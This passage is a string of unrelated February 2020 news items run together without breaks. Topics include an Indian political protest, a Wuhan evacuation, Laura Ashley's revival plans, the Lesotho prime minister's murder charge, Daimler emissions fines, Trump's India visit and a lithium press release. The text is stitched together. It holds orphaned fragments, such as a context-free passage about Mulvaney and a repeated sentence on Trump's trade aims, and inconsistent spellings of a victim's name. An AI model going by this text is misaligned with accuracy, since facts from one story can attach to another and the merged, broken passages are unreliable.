Shopping Centre on the same date. The court heard Mr Reilly made no reply when the charges were put to him but when a further burglary charge alleged to have happened on the same date was put to him on arrival to court this morning he replied: "Nice one!". He was remanded in custody to appear again at Cloverhill District Court on February 25. The Mumbai South unit of the BJP on Friday staged a protest in Byculla in the metropolis against AIMIM leader and former MLA Waris Pathan for his statement that 15 crore Muslims are more than a match for the country's 100 crore Hindus. Pathan has been widely condemned for reportedly stating that "15 crore hain lekin 100 crore pe bhari hain". He purportedly made these comments while addressing an anti-Citizenship Amendment Act rally in Kalaburagi in north Karnataka on February 16. The AIMIM leader has claimed he was quoted out of context. The BJP protest march from Byculla railway station to the local police station was led by the party's south Mumbai chief Sharad Chintankar and Colaba MLA Rahul Narvekar. Chintankar said the party submitted a memorandum to the police demanding registration of an FIR against Pathan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former chief minister Prithviraj Chavan on Thursday said that Satara-born Ashwini Patil, currently locked down in Wuhan, China, due to Covid-19 (Coronavirus), has not been evacuated yet because of some hitch with the Indian Air Force C-130 aircraft as a result of which it was not able to reach China. Chavan tweeted: I Spoke to Ashwini Patil in Woohan. Government is sending an Air Force C-130 aircraft to airlift nearly 90 Indians still remaining. Aircraft was to go today, but there is some hitch. Embassy has asked everyone to be ready to leave immediately. I am in touch. Patil is from Satara district. Ashwinis family in Satara reached out to the senior Congressman, Chavan, who wrote to external affairs minister S Jaishankar asking him to take the necessary steps. Source: Xinhua| 2020-02-21 09:22:37|Editor: huaxia Video Player Close KIEV, Feb. 20 (Xinhua) -- Secretary General of the Organization for Security and Cooperation in Europe (OSCE) Thomas Greminger said Thursday that he plans to visit Ukraine in the near future, state-run news agency Ukrinform reported. The OSCE secretary general announced the decision during the 19th winter meeting of the OSCE Parliamentary Assembly and called for joint work to "maintain the momentum" for a peaceful settlement of the conflict in eastern Ukraine. "It is essential that we use every chance to achieve a peaceful settlement of the crisis in and around Ukraine. Now we have a window of opportunity to provide an additional, significant result on the way to the implementation of the Minsk agreements," he said. Earlier this year, Edi Rama, OSCE chairperson-in-office and prime minister of Albania, paid a two-day visit to Ukraine and discussed the conflict resolution with Ukrainian President Volodymyr Zelensky and other senior officials. It was Rama's first foreign visit as the OSCE chairperson-in-office, which reflects the great importance the organization attaches to addressing the Ukraine crisis. The conflict in eastern Ukraine broke out between the Ukrainian government and armed pro-independence groups in April 2014. According to the United Nations, some 13,000 people have been killed in the conflict since then. Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "RF Tunable Filter Market by Type (Band Pass and Band Reject), Tuning Mechanism (Mechanical and Electronic), Tuning Component (DTC, SAW, and SMD Variant), End-Use (SDR, RF Amplifiers, and Radar Systems), Application, Geography - Global Forecast to 2025" report has been added to ResearchAndMarkets.com's offering. The RF tunable filter market is estimated to grow from USD 89 million in 2020 to USD 148 million by 2025, at a CAGR of 10.6%. Major factors fueling the growth include the growing use of smartphones, connected devices, and IoT devices, surging demand for radar systems by the worldwide military sector, increasing need for new and advanced planes for commercial and military applications, and escalating demand for software-defined radios to be deployed in military communication equipment. Band reject filters to grow at the highest CAGR during the forecast period The market for band-reject filter is expected to grow at the highest CAGR during the forecast period. Band reject filters are used in communication devices to reduce static on radio devices and enable clear communication. These filters are also integrated in communication devices to weed out unwanted harmonics for clear communication. In the healthcare industry, band-reject filters are incorporated in the electrocardiogram (ECG) machine to ensure its hassle-free operation. RF tunable filter for the smart cities application to grow at highest CAGR during the forecast period Smart cities use information and communications technologies in road transport, including infrastructure and traffic management. Integrated communications systems for automated driver guidance offer a full range of services that supervise and control transportation systems via the operation control center. RF tunable filters will enable these ICT infrastructures to exchange data over wireless communications systems. North America to be the largest market for RF tunable filter during the forecast period North America presents a substantial market for RF tunable filters. Factors such as increased expenditure on defense-related equipment, rapid commercialization of 5G networks, upsurged demand for communication devices such as smartphones, tablets, and Voice over IP (VoIP) equipment, and expanding data center capacity are contributing to the growth of the RF tunable filter market in the region. Key Topics Covered: 1. Introduction 2. Research Methodology 3. Executive Summary 4. Premium Insights 4.1. Attractive opportunities in RF Tunable Filter market 4.2. market, by Type 4.3. market, by Tuning Mechanism 4.4. market, by Tuning Component 4.5. market, by End-Use 4.6. market, by Application 4.7. market, by Geography 5. Market Overview 5.1. Introduction 5.2. Market dynamics 5.2.1. Drivers 5.2.1.1. Growing use of smartphones, connected devices, and IoT devices 5.2.1.2. Surging demand for radar systems by worldwide military sector 5.2.1.3. Increasing need for new and advanced planes for commercial and military applications 5.2.1.4. Escalating demand for software-defined radios to be deployed in military communication equipment 5.2.2. Restraints 5.2.2.1. Requirement for high capital, coupled with short life cycle of RF tunable filters 5.2.3. Opportunities 5.2.3.1. Trial and deployment of 5G technology 5.2.3.2. High demand for telematics and infotainment equipment from automotive sector 5.2.4. Challenges 5.2.4.1. Rising complexity and shrinking size of electronic devices 5.3. Value chain analysis 6. RF Tunable Filter Market, By Type 6.1. Introduction 6.2. Band Pass Filters 6.3. Band Reject Filters 7. Market, By Tuning Mechanism 7.1. Introduction 7.2. Mechanical 7.3. Electronic 7.4. Magnetic 8. Market, By Tuning Component 8.1. Introduction 8.2. Surface Acoustic Wave (SAW) Filters 8.3. Varactor Diodes 8.4. MEMS Capacitors 8.5. Oscillator Filters 8.6. Digitally Tunable Capacitors (DTCs) 8.7. Surface-mount Device (SMD) Variants 9. Market, By End Use 9.1. Introduction 9.2. Handheld & Pocket Radios 9.3. Radar Systems 9.4. RF Amplifiers 9.5. Software-defined Radios 9.6. Mobile Antennas 9.7. Avionic Communications Systems 9.8. Test & Measurement Instruments 10. Market, By Application 10.1. Introduction 10.2. Aerospace & Defense 10.3. Energy & Power 10.4. Mining 10.5. Transportation 10.6. Smart Cities 10.7. TV White Spaces 10.8. Healthcare 11. Geographic Analysis 11.1. Introduction 11.2. North America 11.2.1. US 11.2.2. Canada 11.2.3. Mexico 11.3. Europe 11.3.1. Germany 11.3.2. UK 11.3.3. France 11.3.4. Rest of Europe 11.4. Asia Pacific 11.4.1. China 11.4.2. India 11.4.3. Japan 11.4.4. South Korea 11.4.5. Rest of Asia Pacific 11.5. Rest of the world 11.5.1. South America 11.5.2. Middle East and Africa 12. Competitve Landscape 12.1. Introduction 12.2. Ranking of market players 12.3. Competitive Leadership Mapping 12.3.1. Visionary Leaders 12.3.2. Dynamic Differentiators 12.3.3. Innovators 12.3.4. Emerging Companies 12.4. Competitive Benchmarking 12.4.1. Strength of Product Portfolio (25 Companies) 12.4.2. Business Strategy Excellence (25 Companies) 12.5. Competitive Scenario 12.5.1. Contracts, collaborations, and partnerships 12.5.2. Expansions, and product launches and developments 13. Company Profiles 13.1. Key players 13.2. Analog Devices 13.3. Dover 13.4. EXFO 13.5. The LGL Group 13.6. Netcom, Inc. 13.7. Telonic Berkeley 13.8. DiCon Fiberoptics 13.9. RF Products Inc. 13.10. Coleman Microwave Company 13.11. Thorlabs 13.12. Smiths Interconnect 13.13. Other Companies 13.13.1. Wainwright Instruments Gmbh 13.13.2. Microwave Filter Company, Inc. 13.13.3. Filtronetics Inc. 13.13.4. Flann Microwave Ltd. 13.13.5. Temwell Corporation 13.14. Key Innovators 13.14.1. Newedge Signal Solutions Llc 13.14.2. EI Wave Digitech (I) Pvt Ltd. 13.14.3. Wispry Inc. 13.14.4. M.T. SRL 13.14.5. Vanlong Technology Co., Ltd. For more information about this report visit https://www.researchandmarkets.com/r/n2gq79 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Laura Ashley's new CEO has vowed to 'bring Laura back' and revive its 'timeless' designs after taking charge of the struggling British fashion brand. The high street designer, favoured by Princess Diana in the 1980s, was taken over by Katharine Poulter last month after the company announced losses and a 10.4 per cent fall in sales. Its once beloved floral frocks and flowing dresses have recently been worn by the likes of Kate Garraway and Holly Willoughby despite the brand's dramatic fall in popularity over the past decades. Laura Ashley's exposure from the presenters has created growing interest in the brand, according to Poulter, with more than 60 per cent of recent sales coming from new customers. Laura Ashley's new female CEO has vowed to save the struggling British fashion brand by bringing back its iconic 1980s style loved by Princess Diana (pictured in a Laura Ashley dress in Notting Hill, west London, in 1992) Princess Diana seen wearing Laura Ashley in 1980 as she worked as a nursery school assistant at the Young England Kindergarten in Pimlico This week, the company dodged going bust after US bank Wells Fargo saved the day with an emergency funding deal. But despite the 'disappointing' 4million sales slump, Ms Poulter is confident Laura Ashley can fight off her High Street rivals and post-Brexit retail trends by recapturing the original vision of its late founder. She told Drapers magazine: '[Customers] are telling me to be bold and sending me photographs of vintage dresses and the message is very clear: update them in a cool modern way. 'That is exactly what we're going to be doing reconnecting with our traditional values and strong British heritage and develop Laura Ashley as the original lifestyle brand.' Kate Garraway (left) opted for Laura's 90 Red Midi Heart Jacquard Dress to present Good Morning Britain, while fellow ITV presenter Holly Willoughby (right) chose the 110 navy version to host This Morning The business moved to Kent and then her native Wales in the late 1950s and early 1960s, as the brand established itself and gained momentum Actresses Pamela Harlow and Heidi Banks were sighted at a Laura Ashley clothing store in Beverly Hills, California in 1984 (left, right: Jane Sturdy and Billy Livingston model for the brand) Welsh designer Laura Ashley started out by sewing headscarves and napkins on her kitchen table in Pimlico, south London in 1953. Having gained quilting experience with her local Women's Institute, she would make garments while her husband Bernard printed them and they would take mail orders and sell to High Street retailers such as John Lewis. The business moved to Kent and then her native Wales in the late 1950s and early 1960s, as the brand established itself and gained momentum. Pictured: Princess Diana wears a blue and green floral Laura Ashley gown as she watches Prince Charles play polo at Tidworth in 1981 The royal was also seen visiting the Laura Ashley factory in Newtown, Wales in June 1988 Pictured: A 'country bride' full-length gown of ivory cotton trimmed with cotton roses in 1990 They opened their first shop under the name Laura Ashley in Pelham Street, South Kensington, in 1968. The brand did well on the High Street throughout the 1970s, bringing French chic and luxurious soft and hard furnishings into people's homes. It gained international acclaim when shops opened in Paris and San Francisco in 1974. Its signature flowing, floral dress became a staple of the late 1970s and matched the hippy movement perfectly. Pictured: Designer Laura Ashley holds one of her dresses in a 1976 television documentary about her business It wasn't until the 1980s, when Princess Diana threw her support behind the designer, that enjoyed dizzying success (Pictured left: The designer's Autumn/Winter 1988 collection) But as a family business, famed for being 'quintessentially English', the style became more Conservative, particularly when royalty came on board. WHO IS KATHARINE POULTER? Katharine Poulter took over as Laura Ashley's first female chief executive last month. She was formerly the chief operating officer of the brand between January and February this year. Pictured: Katharine Poulter Before joining Laura Ashley, Poulter worked as the managing director of Wilko from August 2018, having previously acted as commercial director for the high street brand from August 2017. She was also the commercial director of Hobbycraft from March 2015, alongside acting as the Director of Trading of B&Q between June 2009 and July 2011. Her other previous roles included Head of Trading at Habitat and Merchandise Manager at Marks and Spencer. She studied Statistics and Managerial Science Techniques at Cardiff University between 1989 and 1993. Advertisement It wasn't until the 1980s, when Princess Diana threw her support behind the designer, that enjoyed dizzying success. Diana was often seen in her dresses and unwittingly shut down production once after she wore a 50 granddad collar gown to a photo call, with staff unable to cope with demand. But after the 'Diana effect' died down and as time has gone on with fast fashion dominating the landscape, the brand has had to rely increasingly on its homewear to make money. However with Ikea, Made.com and Habitat hot on its heels, the company has struggled with its interiors too. There is some hope of a resurgence, after a number of celebrity endorsements including Holly Willoughby and Kate Garraway. Recently Kate opted for Laura's 90 Red Midi Heart Jacquard Dress to present Good Morning Britain, while her fellow ITV presenter Holly chose the 110 navy version to host This Morning. Ms Poulter told Drapers: 'With the Kate and Holly dresses 60 per cent of customers were new customers. We're bringing in new customers and targeting a multigenerational [customer].' In the age of social media, it may be TV and Instagram adverts that save Laura Ashley. It was forced to stave off imminent collapse after concerns a 20m loan would not be available to meet immediate cash needs. It scrapped its interim dividend citing a 'challenging' trading period, and it is on track to increase last year's full-year loss of 14.3million. Poulter joined the firm as operations chief in January from Wilko. But Laura Ashley's chairman, Andrew Khoo, told the Guardian: 'It's business as usual. Whilst these results are disappointing, we believe that with the right focus and support, Laura Ashley has a strong future and can be successful again.' They opened their first shop in Pelham Street, South Kensington, in 1968, women's clothes and home interiors (catalogue image pictured) Despite the 'disappointing' 4million sales slump, Ms Poulter is confident Laura Ashley (new dress pictured) can fight off her High Street rivals and post-Brexit retail trends by recapturing the original vision of its late founder Lesotho Prime Minister Thomas Thabane will be charged with the murder of his estranged wife, who was gunned down ahead of his inauguration in 2017, police said Thursday, as the beleaguered premier announced he would quit by the end of July. Lilopelo Thabane, 58, was killed in June 2017 by unknown assailants on the outskirts of the capital Maseru, two days before the premier, now aged 80, took office. The couple had been embroiled in bitter divorce proceedings when Lipolelo was murdered in front of her home in the capital Maseru. Her death shook the tiny mountainous kingdom of Lesotho, which is entirely surrounded by South Africa. Police investigations found that communications records from the day of the murder included his cell phone number. Deputy Police Commissioner Paseka Mokete told AFP that the 80-year-old prime minister "will be formally charged with... murder". "It does not necessarily mean he was there but that he was acting in common purpose," Mokete said. The case also drew in the prime ministeras current wife, Maesaiah Thabane, 42, who has also been charged with the same murder of her rival. "She was charged under common purpose even though she did not pull the trigger, but people she was acting in consent with pulled the trigger," said Mokete by phone. Sporting a bright yellow outfit complete with a matching headscarf, she sat straight-faced, next to the prime minister during his inauguration that was held at a stadium in Maseru, two days after the murder. The long unresolved murder had plunged the PM's leadership into question, forcing his All Basotho Convention (ABC) party to ask him to resign. - 'Old man should go' - The ABC had given him until Thursday to step aside but he snubbed their deadline, instead saying he will only go by July 31. "I effectively retire as prime minister with effect from the end of July this year, or at an earlier date if all the requisite preparations for my retirement are completed before then," he said in an address on national radio. He said the decision to step "has been the hardest to make in my over half-a-century career as in the public service. I have been battling with this idea for over a year now". "The truth is at my age I have lost most of my energy. I'm not as energetic as I used to be a few years ago," he added. "I hope that the remaining months that I will spend in office will afford parliament and my party enough time to work on transitional arrangements." Thabane's re-election in 2017 had brought hopes of stability to Lesotho, a country with a long history of turmoil. He first came to power in 2012 as head of the country's first coalition government, formed after an inconclusive vote. But his second term was rocked by Lipolelo's murder and ructions in the ruling party, buffeting the picturesque kingdom of 2.2 million people. Opposition parties and many ordinary people in the country also want Thabane gone. "It defies logic how he still wants to remain in office despite the controversy that surrounds him," said street vendor Malefa Mpobole, 42. Another citizen, Lenka Ntjabane, 43, said: "This old man should just go. He should just take his wife and go". The Indian Army is all set to get a new building Thal Sena Bhawan in Delhi Cantonment. Thebhoomipoojan' (ground-breaking) ceremony of the building was performed today (February 21) by Union Defence Minister Rajnath Singh. The new headquarters of the over 1.2 million strong Indian Army will be environment friendly. According to Chief of Army Staff General Manoj Mukund Naravane the Thal Sena Bhawan will bring all Army headquarter offices under one roof and help in better synergy and working efficieny. The new Army headquarters while require lesser logistics that the current system as well as allow more family time for all soldiers posted in Delhi. Hon'ble Raksha Mantri Shri Rajnath Singh laid the foundation stone for Thal Sena Bhawan at #Delhi Cantonment. Location for #IndianArmy Headquarters. Thal Sena Bhawan has been conceptualised as a multistory green building in consonance with environmental norms.#NationFirst pic.twitter.com/Jwr8TStpvR ADG PI - INDIAN ARMY (@adgpi) February 21, 2020 Its existing offices in South Block and Sena Bhawan to continue as it is. The proposed Thal Sena Bhawan will be spread across 39 acres. Approximately 7.5 lakh square meter of the area will be constructed to house the office complex and parking. A total of 6014 offices will be constructed which will house offices for 1684 both military and civilian officers, and 4330 sub-staff. It will generate a minimum of 2 lakh hours of skilled and unskilled work and generate jobs for youth. It is proposed that the construction of the proposed site will be complete in five years. All the army offices will come under one roof after the construction of this building. The deaths of beloved choir director, LaTonya Earl, and 19-year-old Selvin Maldonado Palacios in a tragic car wreck near Humble last Friday were among the stories that shocked Houston this week. Other news this week includes a boy who was found safe after he was allegedly kidnapped by his mothers ex-girlfriend, which led to Nicole Harrison, 30, being charged with kidnapping. Police were searching for the boy for hours and issued an Amber Alert for his disappearance before he was found. Daimler AG is warning of a further crackdown on Mercedes-Benz diesel vehicles in Germany, after mounting legal and regulatory costs already crimped profits last year. It is likely the countrys motor industry watchdog, KBA, will rule that other vehicles made by the luxury brand were also equipped with impermissible defeat devices, Daimler said Friday in its annual report, referring to banned software designed to bypass emissions tests. Daimler has temporarily halted delivery and registration of some models, according to the report. The German manufacturer also said that complying with stricter emissions rules in some countries will be difficult. The carmakers comments indicate further difficulties lie ahead on diesel cars. Daimler took a massive earnings hit in 2019 and slashed its payout to investors to the lowest level since the financial crisis, blaming an 870 million euro ($940 million U.S.) fine by German prosecutors and costs related to reducing diesel-car emissions. The penalty coincided with record investments to boost the manufacturers electric-car lineup and expansion of software operations. Daimler is also putting aside 2 billion euros in restructuring costs. Facing penalties Chief executive officer Ola Kallenius has acknowledged in recent months that meeting Europes tougher emission targets will be a challenge in the next two years because consumers may not move away from choosing combustion engines fast enough. Under the blocs rules, carmakers face penalties if the average of the total passenger vehicles they sell exceeds a level of carbon dioxide emissions. Mercedes-Benz, which makes large-cylinder gas and diesel guzzlers in addition to battery-run models, plans to make use of so-called super credit incentives on electric and plug-in hybrid models to lower its average. Daimler could face a total of more than 1.5 billion euros in fines in 2020 and 2021 for missing European CO2 limits, according to BloombergNEF estimates. To avoid such penalties, electric vehicles sales must account for about 10 per cent of total deliveries in the region by 2021, compared with about 2.8 per cent last year. The companys average fleet emission in Europe was 137 grams in 2019, well above the 95 grams per kilometre stipulated by the rules that start taking effect this year and gradually get tougher by the end of 2021. Swathi Moorthy German enterprise software solutions major SAP has shutdown its India offices after two of its employees tested positive for H1N1 (swine flu). The company has asked the employees to work from home starting 20 February until further notice. In an email statement, the company said, "Two SAP India employees based in Bangalore (RMZ Ecoworld office) have tested positive for the H1N1 virus. Detailed contact tracing that the infected colleagues may have come into contact with is underway. The health of our employees and their families is of utmost priority, as a precautionary measure, all the SAP India Offices across Bangalore, Gurgaon and Mumbai have been closed for extensive sanitisation, and all SAP employees based in these locations have been asked to work from home till further notice." SAP India has about 11,000 employees with SAP Labs employing about 7,500, according to reports. This move comes just days after the Indian IT major asked its employees to work from home on account of Coronavirus. Recently some of the Indian IT majors recommended employees who had recently returned from China to work from home for 14 days on account for Coronavirus. One of the biggest events, Mobile World Congress (MWC) that was scheduled between 24-27 February, 2020 in Barcelona, Spain, was cancelled as well, impacting players such as Tech Mahindra. MWC is an annual trade show dedicated to the mobile communications industry. Jagdish Mitra, Chief Strategy and Marketing Officer, Tech Mahindra told Network18 at the sidelines of the NASSCOM Technology and Leadership Forum 2020 that the company had invested a lot on 5G capability in the lieu of MWC and was one of the manufacturing partner in 5G for MWC. With the United States' President, Donald Trump, set to tour Ahmedabad, Agra and New Delhi next week, India hopes that he will not hurt its sensitivities again by reiterating during the visit his offer to help settle its dispute with Pakistan over Jammu and Kashmir. Pakistan already called upon United States President to take "some concrete practical steps" during his visit to India to "take forward" his offer to play the role of a mediator between the two South Asian nations and help them settle the outstanding issues, including the dispute over Jammu and Kashmir (J&K). New Delhi, however, stated that it would hope that US President would keep in mind the reservation of his host on the involvement of any third party to settle the dispute over J&K. Also read Govt dismisses criticism over huge expenditure for visit by US President Donald Trump "Our sensitivities and concerns are well known (to the US) and we do hope that during the visit (by the US President) things will go on smoothly," Raveesh Kumar, spokesperson of the Ministry of External Affairs (MEA), told journalists in New Delhi. He was replying to a question on the possibility of US President once again offering to mediate between India and Pakistan and New Delhi's preparedness to deal with such an eventuality. The US President has been repeatedly indicating over the past few months his willingness to intervene in the dispute over Kashmir. New Delhi strongly rejected his offers in the past underlining that the 1972 Simla Agreement between India and Pakistan and the 1999 Lahore Declaration by the leaders of the two nations had left no scope for any third party to play any role in settling outstanding disputes between the two South Asian neighbours. Trump, however, reiterated his offer just before he had a meeting with Pakistan Prime Minister Imran Khan on the sideline of the World Economic Forum at Davos in Switzerland on January 22. Also read Donald Trump remains excited for grand reception in India as New Delhi tries to temper expectations The US President's offers irked New Delhi but elated the Khan government in Islamabad, which over the past few months stepped up its diplomatic campaign to internationalise its disputes with India, particularly after Prime Minister Narendra Modi's government on August 5 last year moved to strip Jammu and Kashmir of its special status and reorganise the state into two Union Territories. "We hope that during the US Presidents visit to India the issues being faced by the people of Indian occupied Jammu and Kashmir will be raised with the Government of India and his offer of mediation is taken forward through some concrete practical step," Aisha Farooqui, spokesperson of the Ministry of Foreign Affairs of Pakistan Government, said in Islamabad on Thursday. New Delhi, however, tacitly conveyed to the Trump administration over the past few days that if US President reiterated his offer of mediation during his visit, it would not go down well with India. "Our position is very well known to the US side. And, time and again, we have communicated it to them, not only (in our interaction) with the US Congress, but also with the US State Department and the White House," Kumar, spokesperson of the MEA, said on Thursday. Also read Trump says India not treating US well, but he likes Modi, trade deal later The US endorsed Indias position that its August 5, 2019 decisions on Jammu and Kashmir were its internal affairs. But Trump administration has been nudging New Delhi to fully restore access to the internet and lift other restrictions imposed on people of Jammu and Kashmir as well as to set free the detained political leaders. Several members of the US Congress too expressed concern over the purported violation of human rights of the people of Jammu and Kashmir. Two US Congressmen Ami Bera of Democratic Party and George Holding of Republican Party were on a tour to New Delhi on the eve of American Presidents visit and they expressed concern over the continued detention of political leaders of Jammu and Kashmir. They called upon the Modi government to allow a delegation of the US Congress to visit Kashmir. Besides, four American Senators Chris Van Hollen and Dick Durbin of Democratic Party and Todd Young and Lindsey Graham of Republican Party recently wrote to US Secretary of State Mike Pompeo, expressing concern, not only over the situation in Jammu and Kashmir but also over the new Citizenship (Amendment) Act, which triggered protests across India. Also read Up to PM Narendra Modi, Prez Donald Trump now to keep US-India trade talks on course Kenneth Juster, US ambassador to India, was among the 25 foreign envoys the Modi government recently took on a tour to Jammu and Kashmir so that they could "witness for themselves progressive normalisation of the situation". Trump will arrive in Ahmedabad around noon on Monday to commence his maiden visit to India as President of the United States. He and Prime Minister Narendra Modi will address a rally of about one lakh people at a newly-built stadium in the city. He and his wife Melania Trump, who will accompany him during the tour, will visit Taj Mahal in Agra just before sunset. The President and the First Lady of the US will arrive in New Delhi late in the evening on Monday. PM Modi and Trump will hold formal meetings at Hyderabad House in the national capital on Tuesday. A three-year-old boy found dead inside a minibus would have been strapped into a car seat when he was picked up from his home. The boy was found dead inside the vehicle parked outside Hambledon State School in Cairns at 3.15pm Tuesday. He had been picked up at about 9.30am that morning and police continue to investigate what happened in the six hours before he was found. The grim discovery was made on Stokes Street, Edmonton, in Far North Queensland, at 3.15pm on Tuesday. Pictured: the scene where police are investigating It is policy for the boy to have been buckled in to a car seat when he was collected by the driver of the Goodstart Early Learning bus, centre boss Julia Davidson told the Courier Mail. 'We expect he would have been strapped into a car seat when he was picked up, that's our process,' she said. 'We don't know what happened, we know we got a set of policies and procedures that are very clear about what our educators on the bus should do.' Their focus is on where exactly the bus went during that period, as the driver travelled for other appointments that day, and whether the boy was on it the entire time. The bus itself is one of the crime scenes. 'It's early days and a number of factors could be at play here and we'll investigate all possibilities,' Detective Inspector Jason Smith told Nine on Tuesday. 'The death of any child is an awful thing which is why it's so important for us to get to the bottom of this.' Detectives are investigating the circumstances surrounding the child's death The boy is believed to have boarded the bus, owned by Goodstart Early Learning, in the morning and was supposed to be dropped off at a daycare. But his body was found by the bus driver at 3.15pm outside the primary school - about 1km from his daycare centre - as temperatures reached 34C. A Goodstart Early Learning spokesperson told Daily Mail Australia the company was 'devastated' to learn of the child's death. 'We are working to support the entire centre team, our families and our children,' the spokesperson said. 'The matter is now a police investigation and we will be working with the police, Department of Education (childhood education and care), and Workplace health and Safety. 'Our thoughts are very much with the family of the child at this time.' Hambledon State School postponed a scheduled parents' meeting following the tragedy The boy's mother has been informed. Hambledon State School postponed a scheduled parents' meeting following the tragedy. 'Good afternoon families, due to unforeseen circumstances the P&C meeting scheduled for tonight has been cancelled,' the school wrote on Facebook. 'We will reschedule this as soon as possible. Thank you for your understanding.' A report will be prepared for the coroner. Trump has made bilateral trade with India a top priority, seeking greater market access for US products from farm goods to motorcycles. New Delhi: US energy firm Westinghouse is expected to sign a new agreement with state-run Nuclear Power Corporation of India (NPCIL) for the supply of six nuclear reactors during US President Donald Trump's visit next week, officials said, aiming to kickstart a long-running project. The agreement will lay out timelines and the lead local constructor for the reactors to be built at Kovvada in southern India and also address lingering concerns over India's nuclear liability law. The United States has been discussing the sale of nuclear reactors to India since a 2008 landmark civil nuclear energy pact and in 2019 the two governments announced they were committed to the establishment of the six reactors. Last week representatives from US energy and commerce departments, Westinghouse, the US-India Strategic Partnership Forum and The Nuclear Energy Institute were in India for talks with government officials as part of a commercial mission to promote nuclear exports to India. "We are encouraging moving forward with Westinghouse and NPCIL to sign a MoU. It certainly is a private industry to private industry, a business to business decision," Dr. Rita Baranwal assistant secretary for the Office of Nuclear Energy in the US Department of Energy, told Reuters in a phone interview. "Were optimistic that an MoU will be signed shortly," Baranwal, who was part of the mission, said. Once that is cleared the two sides will begin contract negotiations, delivery schedules and pick vendors. The plan for a new MoU has not been previously reported. Westinghouse did not respond to a request for comment nor did NPCIL. But Indian foreign ministry spokesman Raveesh Kumar said on Thursday that Westinghouse and NPCIL were in talks to move forward with the project. "Following resolution of Westinghouses bankruptcy issues, the two sides are in discussion regarding the division of responsibility of the work," he said. Trump has made bilateral trade with India a top priority, seeking greater market access for US products from farm goods to motorcycles. Negotiators are trying to put together a limited trade deal before a bigger agreement that Trump said this week will probably happen after the US presidential elections. Lack of movement on the nuclear reactors has been a sensitive issue, another member of the US delegation said, after Washington made an exception for India by agreeing to provide it civilian nuclear energy technology even though it has not given up its nuclear weapons programme. A longstanding obstacle has been the need to bring Indian liability rules in-line with international norms, which require the costs of any accident to be channelled to the operator rather than the maker of a nuclear power station. Pittsburgh-based Westinghouses plans to supply the AP1000 reactors to India which it has also sold to China were thrown into further doubt when it filed for bankruptcy in 2017 after cost overruns on US reactors. Liability Law Canadas Brookfield Asset Management bought Westinghouse from Toshiba in August 2018 and has sought progress on the India sale over the next six-seven months, the member of the U.S. delegation said, speaking on condition of anonymity. India has made clear there is no going back on the 2010 Civil Liability for Nuclear Damage law that foreign governments and vendors say leaves open the possibility of lawsuits against suppliers for nuclear accidents, rather than the operators of the plants. Prime Minister Narendra Modis government has tried to limit the impact of that law by setting up an insurance fund for potential victims of a nuclear accident. To be clear, there are still open issues around the liability issue, Baranwal said, adding it was part of the discussions last week. I cant say that its been resolved. But we made some progress and understanding was that concerns were at a higher level. India expects to generate 22,480 MW of electricity from nuclear stations by 2031 up from the 2019 level of 6780 MW. Classy, huh? Candor like that made him a reporters delight, even as the press and his administration colleagues puzzled as to how he had managed to keep his job. Rumors of his possible firing were so heated that Trump himself tried to quash them with a tweeted declaration that they were, Just more Fake News. Besides, its hard to find good help for this Oval Office. Mulvaney is the third man to have the job, following Reince Priebus and retired Gen. John Kelly since Trump took office. Thank God. The management of Lagos University Teaching Hospital (LUTH), Idi-Araba, yesterday assured Lagos residents that the Lassa fever patient who was admitted to the hospital is responding to treatment. Mr. Pius Ewa, speaking for the Public Relations Officer of the institution told The Guardian yesterday that the patient came to Lagos from an unknown destination and after medical test, it was discovered he was infected with Lassa fever virus. He said: Currently, he is in our isolated facility centre where he is being managed by healthcare professionals and so far, he has been responding to treatment, which is the most important thing. This is the first case of Lassa fever in Lagos since its outbreak in 2019, but I can assure you the hospital management has put in place proactive measures to ensure there is no spread of the virus. Therefore, I will advise Nigerians not to be afraid but keep their environment clean and maintain personal hygiene. The hospital has done contact tracing after the patient was admitted over a week ago and no other case has been recorded since then. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Bill Gates Led Fund Backs Lake Technology Brisbane, Feb 21, 2020 AEST (ABN Newswire) - Lithium explorer and developer Lake Resources NL ( ASX:LKE ) ( FRA:LK1 ) is pleased to announce that Lake's technology provider of a direct extraction ion exchange process, Lilac Solutions, has raised US$20 million in Series A funding. Led by Breakthrough Energy Ventures, a $1 billion fund established by many of the world's top business leaders to support companies with the potential to significantly reduce greenhouse gas emissions, the round includes participation from MIT's The Engine fund, Lowercarbon Capital, and The Grantham Foundation.Lilac is commercialising a new ion exchange technology for lithium extraction from brine resources that is significantly faster, cheaper, and more scalable than existing technology. The process does away with the need for large evaporation ponds and is able to return the lithium-depleted brine back underground. Lilac's funding will enable the expansion of its engineering team, scale up production of its unique ion exchange beads, the core of the company's lithium extraction system, and deploy the Lilac technology."This is a great vote of confidence in Lake's strategy from known successful investors to use direct extraction methods to produce high purity lithium. This is quality, third party validation in Lake selecting Lilac as our technology provider providing increased efficiency in recoveries and a shorter time to market with sustainable lithium products and a smaller environmental footprint without expansive evaporation ponds", said Lake's Managing Director Steve Promnitz. "These investors made money by investing in disruptive technologies, seeing opportunities and promoting higher efficiencies with greater environmental outcomes."Carmichael Roberts of Breakthrough Energy Ventures stated that "While the electrification of vehicles is one of the most promising opportunities to reduce global emissions, today's limited supplies of battery raw materials like lithium and cobalt challenge this transition. Lilac Solutions' novel technology can change the supply and demand equation by helping lithium producers extract much larger quantities at a significantly lower cost, and from new sources. This is the type of industrial innovation required to support a transition to EVs at scale."David Snydacker, Chief Executive Officer of Lilac Solutions, stated that "Other companies have tried to build these ion-exchange beads in the past, but they were either not selective enough at picking lithium out of the mixture of minerals or fell apart after just a few cycles."Lake aims for sustainable lithium production at its Kachi Lithium Brine Project producing a high quality, low impurity product capable of attracting premium pricing. The PFS which is almost completed is anticipated to show production costs in the lower part of the global cost curve.The direct extraction process, together with the Kachi project, offers a sustainable solution for the downstream battery makers by extracting lithium from brines using ion exchange without traditional evaporation ponds. Brine is returned to the aquifer once the lithium has been extracted without changing the brine chemistry. This addresses increasing interest from electric vehicle makers (OEM's) and battery makers to demonstrate they have access to a sustainable scalable supply chain for raw materials.Brine samples are being transported from Kachi and expected to arrive late next week to the docks in Oakland, California. These brine samples will be initially used to complete the commissioning of a Lilac Solutions pilot-scale ion exchange module. High-purity lithium chloride will be produced for conversion to battery-grade lithium carbonate. Deliveries of lithium carbonate samples to downstream groups are being planned to start the qualification process with off takers.Lake looks forward to reporting on progress through to first large samples being produced late next month.To view the 